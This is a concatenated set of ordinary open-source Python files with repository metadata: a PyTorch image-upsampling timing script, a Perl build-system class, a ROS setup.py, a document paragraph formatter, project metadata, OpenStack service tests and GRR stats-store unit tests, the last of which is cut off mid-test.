null
null
StupidBenchmark/PyTorch/upsample.py
tobyclh/StupidBenchmark
0b4f821bdb54522b32de3e340f4f73597043e4f3
[ "Apache-2.0" ]
null
null
null
StupidBenchmark/PyTorch/upsample.py
tobyclh/StupidBenchmark
0b4f821bdb54522b32de3e340f4f73597043e4f3
[ "Apache-2.0" ]
null
null
null
import torch from skimage import io, transform from time import time from torch import nn from time import time from torchvision.transforms.functional import resize from PIL import Image from torch.nn.functional import upsample img = io.imread('data/britney.png') def timereps(reps, func): start = time() [func() for _ in range(0, reps)] end = time() return (end - start) / reps average_duration = timereps(10, lambda : transform.rescale(img, [2,2], mode='constant')) print(f'transform.rescale : {average_duration}') tensor_img = torch.Tensor(img) tensor_img = tensor_img.cuda().unsqueeze(0) tensor_img = tensor_img.expand(1, -1, -1, -1).permute(0, 3, 1, 2) up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=False) average_duration = timereps(1000, lambda : up(tensor_img)) print(f'nn.Upsample (GPU): {average_duration}') average_duration = timereps(1000, lambda : upsample(tensor_img, scale_factor=2, mode='bilinear', align_corners=False)) print(f'nn.functional.upsample (GPU) : {average_duration}') tensor_img = tensor_img.cpu() average_duration = timereps(100, lambda : up(tensor_img)) print(f'nn.Upsample (CPU): {average_duration}') average_duration = timereps(100, lambda : upsample(tensor_img, scale_factor=2, mode='bilinear', align_corners=False)) print(f'nn.functional.upsample (CPU) : {average_duration}') img = Image.open('data/britney.png') average_duration = timereps(100, lambda : resize(img, [img.size[0]*2, img.size[1]*2])) print(f'torchvision resize : {average_duration}')
37.243902
118
0.743287
027e03b517621cceeeeab1a769afd4c8ca57a3db
3,408
py
Python
bin/BuildSystem/PerlBuildSystem.py
Inokinoki/craft
dd09fb3ba0714ed19d9ab15bdd402fecf9c64405
[ "BSD-2-Clause" ]
null
null
null
bin/BuildSystem/PerlBuildSystem.py
Inokinoki/craft
dd09fb3ba0714ed19d9ab15bdd402fecf9c64405
[ "BSD-2-Clause" ]
null
null
null
bin/BuildSystem/PerlBuildSystem.py
Inokinoki/craft
dd09fb3ba0714ed19d9ab15bdd402fecf9c64405
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright Hannah von Reth <vonreth@kde.org> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. from BuildSystem.MakeFileBuildSystem import * # based on https://wiki.archlinux.org/index.php/Perl_package_guidelines class PerlBuildSystem(MakeFileBuildSystem): def __init__(self): MakeFileBuildSystem.__init__(self) self.subinfo.options.make.supportsMultijob = False self.subinfo.options.useShadowBuild = False def configure(self): self.enterBuildDir() env = {"PERL5LIB": None, "PERL_MM_OPT": None, "PERL_LOCAL_LIB_ROOT": None, "PERL_MM_USE_DEFAULT": "1", "PERL_AUTOINSTALL": "--skipdeps"} with utils.ScopedEnv(env): return utils.system(" ".join(["perl", "Makefile.PL", self.subinfo.options.configure.args])) def make(self): self.enterBuildDir() env = {"PERL5LIB" : None, "PERL_MM_OPT" : None, "PERL_LOCAL_LIB_ROOT" : None, "PERL_MM_USE_DEFAULT" : "1", "PERL_AUTOINSTALL" : "--skipdeps"} if CraftCore.compiler.isMSVC(): root = OsUtils.toUnixPath(CraftCore.standardDirs.craftRoot()) env.update({"INCLUDE": f"{os.environ['INCLUDE']};{root}/include", "LIB": f"{os.environ['LIB']};{root}/lib"}) with utils.ScopedEnv(env): return utils.system([self.makeProgram]) def install(self): env = {"PERL5LIB": None, "PERL_MM_OPT": None, "PERL_LOCAL_LIB_ROOT": None} with utils.ScopedEnv(env): if 1 and CraftCore.compiler.isWindows: #ugly hack to make destdir work, it probably breaks some scripts makeFile = os.path.join(self.buildDir(), "Makefile") with open(makeFile, "rt") as make: txt = make.read() with open(makeFile, "wt") as make: txt = txt.replace(CraftCore.standardDirs.craftRoot(), CraftCore.standardDirs.craftRoot()[2:]) make.write(txt) return super().install() and self._fixInstallPrefix()
48.685714
113
0.656984
0b8904b5c7dce13fd933435d6f8cdb2b6dc63a18
1,182
py
Python
src/stereo_cam/setup.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
null
null
null
src/stereo_cam/setup.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
6
2022-03-22T18:54:38.000Z
2022-03-31T16:42:37.000Z
src/stereo_cam/setup.py
frank20a/collaborative-sats
9d26d3c8f66cf43bbd514f02434851439e746797
[ "MIT" ]
null
null
null
from setuptools import setup import os from glob import glob package_name = 'stereo_cam' setup( name=package_name, version='1.0.0', packages=[package_name], data_files=[ ('share/ament_index/resource_index/packages', ['resource/' + package_name]), ('share/' + package_name, ['package.xml']), (os.path.join('share', package_name, 'launch'), glob('launch/*.launch.py')), (os.path.join('share', package_name, 'rviz_config'), glob('rviz_config/*.rviz')), ], install_requires=['setuptools'], zip_safe=True, maintainer='Frank Fourlas', maintainer_email='frank.fourlas@gmail.com', description='Fetch stereoscopic data from sensors and process them', license='Apache 2.0', tests_require=['pytest'], entry_points={ 'console_scripts': [ 'stereo_viewer = ' + package_name + '.stereo_viewer:main', 'disparity_viewer = ' + package_name + '.disparity_viewer:main', 'disparity_publisher = ' + package_name + '.disparity_publisher:main', 'pcd_publisher = ' + package_name + '.pcd_publisher:main' ], }, )
30.307692
82
0.615059
f85cbe392f54c51a5b9b02a9979eeca1002b0469
3,296
py
Python
orgdown/paragraph.py
dcheno/orgdown
f67b2333413587fe27070ad7283101791bade374
[ "MIT" ]
null
null
null
orgdown/paragraph.py
dcheno/orgdown
f67b2333413587fe27070ad7283101791bade374
[ "MIT" ]
null
null
null
orgdown/paragraph.py
dcheno/orgdown
f67b2333413587fe27070ad7283101791bade374
[ "MIT" ]
null
null
null
from paragraph_type import ParagraphType from xmlobject import XmlObject SCENE_BREAK_CHARACTER = "#" ONE_THIRD_PAGE = 12 STANDARD_BUFFER = 2 # I imagine these might someday be better # placed in their own configuration file. LEVELS = { ParagraphType.PART: 0, ParagraphType.PROLOGUE: 1, ParagraphType.CHAPTER: 1, ParagraphType.PART_ENDER: 1, ParagraphType.EPILOGUE: 1, ParagraphType.CHAPTER_PART: 2, ParagraphType.SCENE: 3, ParagraphType.NORMAL: 4 } CENTERED = [ ParagraphType.PART, ParagraphType.CHAPTER, ParagraphType.CHAPTER_PART, ParagraphType.SCENE, ParagraphType.PROLOGUE, ParagraphType.EPILOGUE, ParagraphType.PART_ENDER ] UPPER = [ ParagraphType.PART, ParagraphType.CHAPTER ] PAGE_BREAK_BEFORE = [ ParagraphType.PART, ParagraphType.CHAPTER, ParagraphType.PROLOGUE, ParagraphType.EPILOGUE, ParagraphType.PART_ENDER ] PAGE_BREAK_AFTER = [ ParagraphType.PART ] BUFFER_SPACES = { ParagraphType.CHAPTER_PART: 2, ParagraphType.SCENE: 1 } HIDE_TITLE = [ ParagraphType.PART_ENDER ] INDENT = [ ParagraphType.NORMAL ] class Paragraph: def __init__(self, paragraph_type, line, previous_paragraph_type): self._display_xml = True if paragraph_type != ParagraphType.SCENE: self._text = line else: self._text = SCENE_BREAK_CHARACTER if previous_paragraph_type != ParagraphType.NORMAL: self._display_xml = False self._paragraph_type = paragraph_type self._previous_paragraph_type = previous_paragraph_type if paragraph_type == ParagraphType.PROLOGUE: self._text = 'Prologue' elif paragraph_type == ParagraphType.EPILOGUE: self._text = 'Epilogue' def get_type(self): return self._paragraph_type def getXml(self): # Special Case where the line does not represent any # displayable text. if self._display_xml == False: return '' xmlObject = XmlObject(self._text) if self._paragraph_type in CENTERED: xmlObject.center() if self._paragraph_type in UPPER: xmlObject.upper() if self._paragraph_type in PAGE_BREAK_BEFORE: if self._previous_paragraph_type not in PAGE_BREAK_AFTER: xmlObject.pre_page_break() xmlObject.set_pre_buffer(ONE_THIRD_PAGE) xmlObject.set_post_buffer(STANDARD_BUFFER) if self._paragraph_type in PAGE_BREAK_AFTER: xmlObject.post_page_break() if self._paragraph_type in BUFFER_SPACES: previous_buffer = BUFFER_SPACES.get( self._previous_paragraph_type, 0) def_pre_buffer = BUFFER_SPACES[self._paragraph_type] print(previous_buffer) print(def_pre_buffer) pre_buffer = max(def_pre_buffer - previous_buffer, 0) print(pre_buffer) xmlObject.set_pre_buffer(pre_buffer) xmlObject.set_post_buffer(def_pre_buffer) if self._paragraph_type in HIDE_TITLE: xmlObject.remove_text() if self._paragraph_type in INDENT: xmlObject.indent() output = xmlObject.getXml() return output
25.550388
70
0.668083
5f14d8a7d511b2aba14538a318734e4f05a21590
322
py
Python
awesome_template/__about__.py
enpaul/pyproject-template
8abfe9aecd263ba5679532ccc5a6546473992e65
[ "MIT" ]
null
null
null
awesome_template/__about__.py
enpaul/pyproject-template
8abfe9aecd263ba5679532ccc5a6546473992e65
[ "MIT" ]
null
null
null
awesome_template/__about__.py
enpaul/pyproject-template
8abfe9aecd263ba5679532ccc5a6546473992e65
[ "MIT" ]
null
null
null
"""Programatically accessible project metadata""" __title__ = "awesome-template" __summary__ = "An awesome python template project that does nothing" __version__ = "0.0.0" __url__ = "https://github.com/enpaul/awesome-template/" __license__ = "MIT" __authors__ = ["Ethan Paul <24588726+enpaul@users.noreply.github.com>"]
32.2
71
0.76087
5d1abb41d48ace514998d88e5113906d864a1544
2,380
py
Python
src/waldur_openstack/openstack/tests/test_service.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
26
2017-10-18T13:49:58.000Z
2021-09-19T04:44:09.000Z
src/waldur_openstack/openstack/tests/test_service.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
14
2018-12-10T14:14:51.000Z
2021-06-07T10:33:39.000Z
src/waldur_openstack/openstack/tests/test_service.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
32
2017-09-24T03:10:45.000Z
2021-10-16T16:41:09.000Z
from unittest.mock import patch from django.core.exceptions import ValidationError from rest_framework import status, test from waldur_core.structure.models import ServiceSettings from waldur_core.structure.tests import factories, fixtures @patch('waldur_core.structure.models.ServiceSettings.get_backend') class OpenStackServiceCreateTest(test.APITransactionTestCase): def setUp(self): super(OpenStackServiceCreateTest, self).setUp() self.fixture = fixtures.CustomerFixture() self.url = factories.ServiceSettingsFactory.get_list_url() def test_user_can_add_service_to_the_customer_he_owns(self, mocked_backend): mocked_backend().check_admin_tenant.return_value = True self.client.force_authenticate(user=self.fixture.owner) payload = self.get_payload() with patch( 'waldur_core.structure.executors.ServiceSettingsCreateExecutor.execute' ) as mocked: response = self.client.post(self.url, payload) self.assertEqual( response.status_code, status.HTTP_201_CREATED, response.data ) settings = ServiceSettings.objects.get(name=payload['name']) self.assertFalse(settings.shared) mocked.assert_any_call(settings) mocked_backend().validate_settings.assert_called_once() def test_admin_service_credentials_are_validated(self, mocked_backend): mocked_backend().validate_settings.side_effect = ValidationError( 'Provided credentials are not for admin tenant.' ) self.client.force_authenticate(user=self.fixture.owner) payload = self.get_payload() response = self.client.post(self.url, payload) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['non_field_errors'], ['Provided credentials are not for admin tenant.'], ) def get_payload(self): return { 'name': 'service_settings name', 'customer': factories.CustomerFactory.get_url(self.fixture.customer), 'type': 'OpenStack', 'options': { 'backend_url': 'http://example.com', 'username': 'user', 'password': 'secret', 'tenant_name': 'admin', }, }
37.777778
83
0.668067
5522713a4190d3b4e6c3a9a428f18f3151dc36cb
45,254
py
Python
lib/aff4_objects/stats_store_test.py
pchaigno/grr
69c81624c281216a45c4bb88a9d4e4b0613a3556
[ "Apache-2.0" ]
null
null
null
lib/aff4_objects/stats_store_test.py
pchaigno/grr
69c81624c281216a45c4bb88a9d4e4b0613a3556
[ "Apache-2.0" ]
null
null
null
lib/aff4_objects/stats_store_test.py
pchaigno/grr
69c81624c281216a45c4bb88a9d4e4b0613a3556
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python """Tests for the stats_store classes.""" import math import pandas from grr.lib import aff4 from grr.lib import data_store from grr.lib import flags from grr.lib import rdfvalue from grr.lib import stats from grr.lib import test_lib from grr.lib.aff4_objects import stats_store class StatsStoreTest(test_lib.AFF4ObjectTest): def setUp(self): super(StatsStoreTest, self).setUp() self.process_id = "some_pid" self.stats_store = aff4.FACTORY.Create( None, "StatsStore", mode="w", token=self.token) def testCountersAreWrittenToDataStore(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) counter = [x for x in row if x[0] == "aff4:stats_store/counter"] self.assertTrue(counter) stored_value = stats_store.StatsStoreValue( value_type=stats.MetricMetadata.ValueType.INT, int_value=1) self.assertEqual(counter[0], ("aff4:stats_store/counter", stored_value.SerializeToString(), 42)) def testCountersWithFieldsAreWrittenToDataStore(self): stats.STATS.RegisterCounterMetric("counter", fields=[("source", str)]) stats.STATS.IncrementCounter("counter", fields=["http"]) stats.STATS.IncrementCounter("counter", delta=2, fields=["rpc"]) self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) # Check that no plain counter is written. values = [stats_store.StatsStoreValue(x[1]) for x in row if x[0] == "aff4:stats_store/counter"] self.assertEqual(len(values), 2) http_field_value = stats_store.StatsStoreFieldValue( field_type=stats.MetricFieldDefinition.FieldType.STR, str_value="http") rpc_field_value = stats_store.StatsStoreFieldValue( field_type=stats.MetricFieldDefinition.FieldType.STR, str_value="rpc") # Check that counter with source=http is written. http_counter = [x for x in values if x.fields_values == [http_field_value]] self.assertTrue(http_counter) self.assertEqual(http_counter[0].value_type, stats.MetricMetadata.ValueType.INT) self.assertEqual(http_counter[0].int_value, 1) # Check that counter with source=rpc is written. rpc_counter = [x for x in values if x.fields_values == [rpc_field_value]] self.assertTrue(rpc_counter) self.assertEqual(rpc_counter[0].value_type, stats.MetricMetadata.ValueType.INT) self.assertEqual(rpc_counter[0].int_value, 2) def testEventMetricsAreWrittenToDataStore(self): stats.STATS.RegisterEventMetric("foo_event") stats.STATS.RecordEvent("foo_event", 5) stats.STATS.RecordEvent("foo_event", 15) self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) values = [stats_store.StatsStoreValue(x[1]) for x in row if x[0] == "aff4:stats_store/foo_event"] self.assertEqual(len(values), 1) stored_value = values[0] self.assertEqual(stored_value.value_type, stats.MetricMetadata.ValueType.DISTRIBUTION) self.assertEqual(stored_value.distribution_value.count, 2) self.assertEqual(stored_value.distribution_value.sum, 20) def testEventMetricsWithFieldsAreWrittenToDataStore(self): stats.STATS.RegisterEventMetric("foo_event", fields=[("source", str)]) stats.STATS.RecordEvent("foo_event", 5, fields=["http"]) stats.STATS.RecordEvent("foo_event", 15, fields=["rpc"]) self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) values = [stats_store.StatsStoreValue(x[1]) for x in row if x[0] == "aff4:stats_store/foo_event"] self.assertEqual(len(values), 2) http_field_value = stats_store.StatsStoreFieldValue( field_type=stats.MetricFieldDefinition.FieldType.STR, str_value="http") rpc_field_value = stats_store.StatsStoreFieldValue( field_type=stats.MetricFieldDefinition.FieldType.STR, str_value="rpc") # Check that distribution with source=http is written. http_events = [x for x in values if x.fields_values == [http_field_value]] self.assertTrue(http_events) self.assertEqual(http_events[0].value_type, stats.MetricMetadata.ValueType.DISTRIBUTION) self.assertEqual(http_events[0].distribution_value.count, 1) self.assertEqual(http_events[0].distribution_value.sum, 5) # Check that distribution with source=rpc is written. rpc_events = [x for x in values if x.fields_values == [rpc_field_value]] self.assertTrue(rpc_events) self.assertEqual(rpc_events[0].value_type, stats.MetricMetadata.ValueType.DISTRIBUTION) self.assertEqual(rpc_events[0].distribution_value.count, 1) self.assertEqual(rpc_events[0].distribution_value.sum, 15) def testStringGaugeValuesAreWrittenToDataStore(self): stats.STATS.RegisterGaugeMetric("str_gauge", str) stats.STATS.SetGaugeValue("str_gauge", "some_value") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) counter = [x for x in row if x[0] == "aff4:stats_store/str_gauge"] self.assertTrue(counter) stored_value = stats_store.StatsStoreValue( value_type=stats.MetricMetadata.ValueType.STR, str_value="some_value") self.assertEqual(counter[0], ("aff4:stats_store/str_gauge", stored_value.SerializeToString(), 42)) def testIntGaugeValuesAreWrittenToDataStore(self): stats.STATS.RegisterGaugeMetric("int_gauge", int) stats.STATS.SetGaugeValue("int_gauge", 4242) self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) counter = [x for x in row if x[0] == "aff4:stats_store/int_gauge"] self.assertTrue(counter) stored_value = stats_store.StatsStoreValue( value_type=stats.MetricMetadata.ValueType.INT, int_value=4242) self.assertEqual(counter[0], ("aff4:stats_store/int_gauge", stored_value.SerializeToString(), 42)) def testLaterValuesDoNotOverridePrevious(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=43, sync=True) row = data_store.DB.ResolveRegex("aff4:/stats_store/some_pid", ".*", token=self.token) counters = [x for x in row if x[0] == "aff4:stats_store/counter"] self.assertEqual(len(counters), 2) counters = sorted(counters, key=lambda x: x[2]) stored_value = stats_store.StatsStoreValue( value_type=stats.MetricMetadata.ValueType.INT, int_value=1) self.assertEqual(counters[0], ("aff4:stats_store/counter", stored_value.SerializeToString(), 42)) stored_value = stats_store.StatsStoreValue( value_type=stats.MetricMetadata.ValueType.INT, int_value=2) self.assertEqual(counters[1], ("aff4:stats_store/counter", stored_value.SerializeToString(), 43)) def testValuesAreFetchedCorrectly(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterGaugeMetric("int_gauge", int) stats.STATS.SetGaugeValue("int_gauge", 4242) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=43, sync=True) stats_history = self.stats_store.ReadStats( process_id=self.process_id, timestamp=self.stats_store.ALL_TIMESTAMPS) self.assertEqual(stats_history["counter"], [(1, 42), (2, 43)]) self.assertEqual(stats_history["int_gauge"], [(4242, 42), (4242, 43)]) def testFetchedValuesCanBeLimitedByTimeRange(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterGaugeMetric("int_gauge", int) stats.STATS.SetGaugeValue("int_gauge", 4242) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=43, sync=True) stats_history = self.stats_store.ReadStats(process_id=self.process_id, timestamp=(0, 42)) self.assertEqual(stats_history["counter"], [(1, 42)]) self.assertEqual(stats_history["int_gauge"], [(4242, 42)]) def testFetchedValuesCanBeLimitedByName(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterGaugeMetric("int_gauge", int) stats.STATS.SetGaugeValue("int_gauge", 4242) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=43, sync=True) stats_history = self.stats_store.ReadStats(process_id=self.process_id, predicate_regex="counter") self.assertEqual(stats_history["counter"], [(1, 42), (2, 43)]) self.assertTrue("int_gauge" not in stats_history) def testDeleteStatsInTimeRangeWorksCorrectly(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterGaugeMetric("int_gauge", int) stats.STATS.SetGaugeValue("int_gauge", 4242) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id=self.process_id, timestamp=44, sync=True) self.stats_store.DeleteStats(process_id=self.process_id, timestamp=(0, 43), sync=True) stats_history = self.stats_store.ReadStats(process_id=self.process_id) self.assertEqual(stats_history["counter"], [(2, 44)]) self.assertEqual(stats_history["int_gauge"], [(4242, 44)]) def testDeleteStatsInTimeRangeWorksCorrectlyWithFields(self): stats.STATS.RegisterCounterMetric("counter", fields=[("source", str)]) stats.STATS.IncrementCounter("counter", fields=["http"]) self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) stats.STATS.IncrementCounter("counter", fields=["http"]) stats.STATS.IncrementCounter("counter", fields=["rpc"]) self.stats_store.WriteStats(process_id=self.process_id, timestamp=44, sync=True) self.stats_store.DeleteStats(process_id=self.process_id, timestamp=(0, 43), sync=True) stats_history = self.stats_store.ReadStats(process_id=self.process_id) self.assertEqual(stats_history["counter"]["http"], [(2, 44)]) self.assertEqual(stats_history["counter"]["rpc"], [(1, 44)]) def testReturnsListOfAllUsedProcessIds(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterGaugeMetric("int_gauge", int) self.stats_store.WriteStats(process_id="pid1", sync=True) self.stats_store.WriteStats(process_id="pid2", sync=True) self.assertEqual(sorted(self.stats_store.ListUsedProcessIds()), ["pid1", "pid2"]) def testMultiReadStatsWorksCorrectly(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id="pid1", timestamp=42, sync=True) self.stats_store.WriteStats(process_id="pid2", timestamp=42, sync=True) self.stats_store.WriteStats(process_id="pid2", timestamp=43, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id="pid1", timestamp=43, sync=True) results = self.stats_store.MultiReadStats() self.assertEqual(sorted(results.keys()), ["pid1", "pid2"]) self.assertEqual(results["pid1"]["counter"], [(1, 42), (2, 43)]) self.assertEqual(results["pid2"]["counter"], [(1, 42), (1, 43)]) def testMultiReadStatsLimitsResultsByTimeRange(self): stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id="pid1", timestamp=42, sync=True) self.stats_store.WriteStats(process_id="pid2", timestamp=42, sync=True) self.stats_store.WriteStats(process_id="pid2", timestamp=44, sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats(process_id="pid1", timestamp=44, sync=True) results = self.stats_store.MultiReadStats( timestamp=(43, 100)) self.assertEqual(sorted(results.keys()), ["pid1", "pid2"]) self.assertEqual(results["pid1"]["counter"], [(2, 44)]) self.assertEqual(results["pid2"]["counter"], [(1, 44)]) def testReadMetadataReturnsAllUsedMetadata(self): # Register metrics stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterCounterMetric("counter_with_fields", fields=[("source", str)]) stats.STATS.RegisterEventMetric("events") stats.STATS.RegisterEventMetric("events_with_fields", fields=[("source", str)]) stats.STATS.RegisterGaugeMetric("str_gauge", str) stats.STATS.RegisterGaugeMetric("str_gauge_with_fields", str, fields=[("task", int)]) # Check that there are no metadata for registered metrics. metadata = self.stats_store.ReadMetadata(process_id=self.process_id) self.assertFalse("counter" in metadata) self.assertFalse("counter_with_fields" in metadata) self.assertFalse("events" in metadata) self.assertFalse("events_with_fields" in metadata) self.assertFalse("str_gauge" in metadata) self.assertFalse("str_gauge_with_fields" in metadata) # Write stats to the data store. Metadata should be # written as well. self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) # Check that metadata were written into the store. metadata = self.stats_store.ReadMetadata(process_id=self.process_id) # Field definitions used in assertions below. source_field_def = stats.MetricFieldDefinition( field_name="source", field_type=stats.MetricFieldDefinition.FieldType.STR) task_field_def = stats.MetricFieldDefinition( field_name="task", field_type=stats.MetricFieldDefinition.FieldType.INT) self.assertTrue("counter" in metadata) self.assertEqual(metadata["counter"].varname, "counter") self.assertEqual(metadata["counter"].metric_type, stats.MetricType.COUNTER) self.assertEqual(metadata["counter"].value_type, stats.MetricMetadata.ValueType.INT) self.assertListEqual(list(metadata["counter"].fields_defs), []) self.assertTrue("counter_with_fields" in metadata) self.assertEqual(metadata["counter_with_fields"].varname, "counter_with_fields") self.assertEqual(metadata["counter_with_fields"].metric_type, stats.MetricType.COUNTER) self.assertEqual(metadata["counter_with_fields"].value_type, stats.MetricMetadata.ValueType.INT) self.assertListEqual(list(metadata["counter_with_fields"].fields_defs), [source_field_def]) self.assertTrue("events" in metadata) self.assertEqual(metadata["events"].varname, "events") self.assertEqual(metadata["events"].metric_type, stats.MetricType.EVENT) self.assertEqual(metadata["events"].value_type, stats.MetricMetadata.ValueType.DISTRIBUTION) self.assertListEqual(list(metadata["events"].fields_defs), []) self.assertTrue("events_with_fields" in metadata) self.assertEqual(metadata["events_with_fields"].varname, "events_with_fields") self.assertEqual(metadata["events_with_fields"].metric_type, stats.MetricType.EVENT) self.assertEqual(metadata["events_with_fields"].value_type, stats.MetricMetadata.ValueType.DISTRIBUTION) self.assertListEqual(list(metadata["events_with_fields"].fields_defs), [source_field_def]) self.assertTrue("str_gauge" in metadata) self.assertEqual(metadata["str_gauge"].varname, "str_gauge") self.assertEqual(metadata["str_gauge"].metric_type, stats.MetricType.GAUGE) self.assertEqual(metadata["str_gauge"].value_type, stats.MetricMetadata.ValueType.STR) self.assertListEqual(list(metadata["str_gauge"].fields_defs), []) self.assertTrue("str_gauge_with_fields" in metadata) self.assertEqual(metadata["str_gauge_with_fields"].varname, "str_gauge_with_fields") self.assertEqual(metadata["str_gauge_with_fields"].metric_type, stats.MetricType.GAUGE) self.assertEqual(metadata["str_gauge_with_fields"].value_type, stats.MetricMetadata.ValueType.STR) self.assertListEqual(list(metadata["str_gauge_with_fields"].fields_defs), [task_field_def]) def testMultiReadMetadataReturnsAllUsedMetadata(self): stats.STATS.RegisterCounterMetric("counter") # Check that there are no metadata for registered metrics. metadata_by_id = self.stats_store.MultiReadMetadata( process_ids=["pid1", "pid2"]) self.assertFalse("counter" in metadata_by_id["pid1"]) self.assertFalse("counter" in metadata_by_id["pid2"]) # Write stats to the data store. Metadata should be # written as well. self.stats_store.WriteStats(process_id="pid1", timestamp=42, sync=True) # Now metadata should be found only for the pid1. metadata_by_id = self.stats_store.MultiReadMetadata( process_ids=["pid1", "pid2"]) self.assertTrue("counter" in metadata_by_id["pid1"]) self.assertFalse("counter" in metadata_by_id["pid2"]) # Write stats for the pid2 and check again. self.stats_store.WriteStats(process_id="pid2", timestamp=42, sync=True) metadata_by_id = self.stats_store.MultiReadMetadata( process_ids=["pid1", "pid2"]) self.assertTrue("counter" in metadata_by_id["pid1"]) self.assertTrue("counter" in metadata_by_id["pid2"]) class StatsStoreDataQueryTest(test_lib.AFF4ObjectTest): """Tests for StatsStoreDataQuery class.""" def setUp(self): super(StatsStoreDataQueryTest, self).setUp() self.process_id = "some_pid" self.stats_store = aff4.FACTORY.Create( None, "StatsStore", mode="w", token=self.token) def testUsingInCallNarrowsQuerySpace(self): # Create sample data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.RegisterCounterMetric("counter_with_fields", fields=[("source", str)]) stats.STATS.IncrementCounter("counter") stats.STATS.IncrementCounter("counter_with_fields", fields=["http"]) stats.STATS.IncrementCounter("counter_with_fields", fields=["rpc"]) # Write to data store. self.stats_store.WriteStats(process_id=self.process_id, timestamp=42, sync=True) # Read them back and apply queries with In() and InAll() calls. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("counter").SeriesCount(), 1) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("counter_with_fields").InAll().SeriesCount(), 2) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("counter_with_fields").In("http").SeriesCount(), 1) def testInCallAcceptsRegularExpressions(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( 